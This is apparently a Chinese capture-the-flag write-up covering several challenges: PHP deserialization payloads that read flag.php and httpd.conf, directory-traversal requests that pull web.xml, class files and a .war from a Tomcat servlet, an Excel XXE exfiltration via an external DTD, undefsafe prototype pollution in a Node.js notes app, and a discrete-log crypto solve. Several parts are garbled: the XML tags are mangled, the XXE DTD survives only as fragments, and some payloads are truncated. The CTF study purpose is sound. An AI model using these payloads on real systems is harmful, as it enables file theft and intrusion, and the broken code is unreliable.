有必要说一下签到题,进去后是一个答题的模式,可能大家觉得答几道后还不出flag就会失望,或者转去其他地方找突破口。但是每次答完后它会给你一个称谓,可能你答对题数越高地位称呼会越高,最终能拿到flag吧。
/flag.php
以post方式提交token就行了。有大佬说直接读js源码就可以找到这个信息。
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = 2;
$filename = "flag.php";
$content = "Hello World!";
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
$a=new FileHandler();
$b=serialize($a);
echo $b."\n";
var_dump(is_valid($b));
?>
O:11:"FileHandler":3:{s:5:" * op";N;s:11:" * filename";N;s:10:" * content";N;}
我们需要自己给其中添加值,并且因为三个属性是protected类型,所以会生成chr(0)*chr(0)
O:11:"FileHandler":3:{s:5:"%00*%00op";i:2;s:11:"%00*%00filename";s:8:"flag.php";s:10:"%00*%00content";N;}
%00
是通不过的。O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
/etc/apache2/httpd.conf
.?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:23:%22/etc/apache2/httpd.conf%22;s:7:%22content%22;N%22;
得到了apache项目部署的路径为:
所以最终的payload为:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:18:"/web/html/flag.php";s:7:"content";N;}
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;
进入后可以上传文件,任意上传一个文件,然后可以下载这个文件,这时候可能存在任意文件下载的问题。
会有个filename的参数可以实现目录穿越
.
WEB.XML
。/file_in_java/DownloadServlet?filename=../../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
<display-name>file_in_javadisplay-name>
<welcome-file-list>
<welcome-file>upload.jspwelcome-file>
welcome-file-list>
<servlet>
<description>description>
<display-name>UploadServletdisplay-name>
<servlet-name>UploadServletservlet-name>
<servlet-class>cn.abc.servlet.UploadServletservlet-class>
servlet>
<servlet-mapping>
<servlet-name>UploadServletservlet-name>
<url-pattern>/UploadServleturl-pattern>
servlet-mapping>
<servlet>
<description>description>
<display-name>ListFileServletdisplay-name>
<servlet-name>ListFileServletservlet-name>
<servlet-class>cn.abc.servlet.ListFileServletservlet-class>
servlet>
<servlet-mapping>
<servlet-name>ListFileServletservlet-name>
<url-pattern>/ListFileServleturl-pattern>
servlet-mapping>
<servlet>
<description>description>
<display-name>DownloadServletdisplay-name>
<servlet-name>DownloadServletservlet-name>
<servlet-class>cn.abc.servlet.DownloadServletservlet-class>
servlet>
<servlet-mapping>
<servlet-name>DownloadServletservlet-name>
<url-pattern>/DownloadServleturl-pattern>
servlet-mapping>
web-app>
1.之后根据xml中的
把对应class都下载下来,然后反编译(我用的JD-GUI)得到源码:
?filename=../../../../../../../../../../../../../../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}
2.直接下载tomcat下部署的file_in_java.war包。
?filename=../../../../../../webapps/file_in_java.war
也可以在相应的位置找到几个class文件。
用java-gui打开
关于excel的xxe:
先在[Content-Types].xml中引用外部dtd实体:
%remote;]>
y1ng.dtd:
">
%int;
%send;
然后再给压缩回去,上传,flag就打回来了。
给了源码:
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');
var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}
write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}
get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
get_all_notes() {
return this.note_list;
}
remove_note(id) {
delete this.note_list[id];
}
}
var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});
app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})
app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})
app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});
app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});
const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
undefsafe的原型链污染
源码:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
import random
n = 2 ** 512
m = random.randint(2, n-1) | 1
c = pow(m, bytes_to_long(flag), n)
print 'm = ' + str(m)
print 'c = ' + str(c)
# m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
# c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499
上解密脚本:
m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075
c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499
n = 2**512
m = Mod(m,n)
c = Mod(c,n)
flag=discrete_log(c,m)
print(long_to_bytes(flag))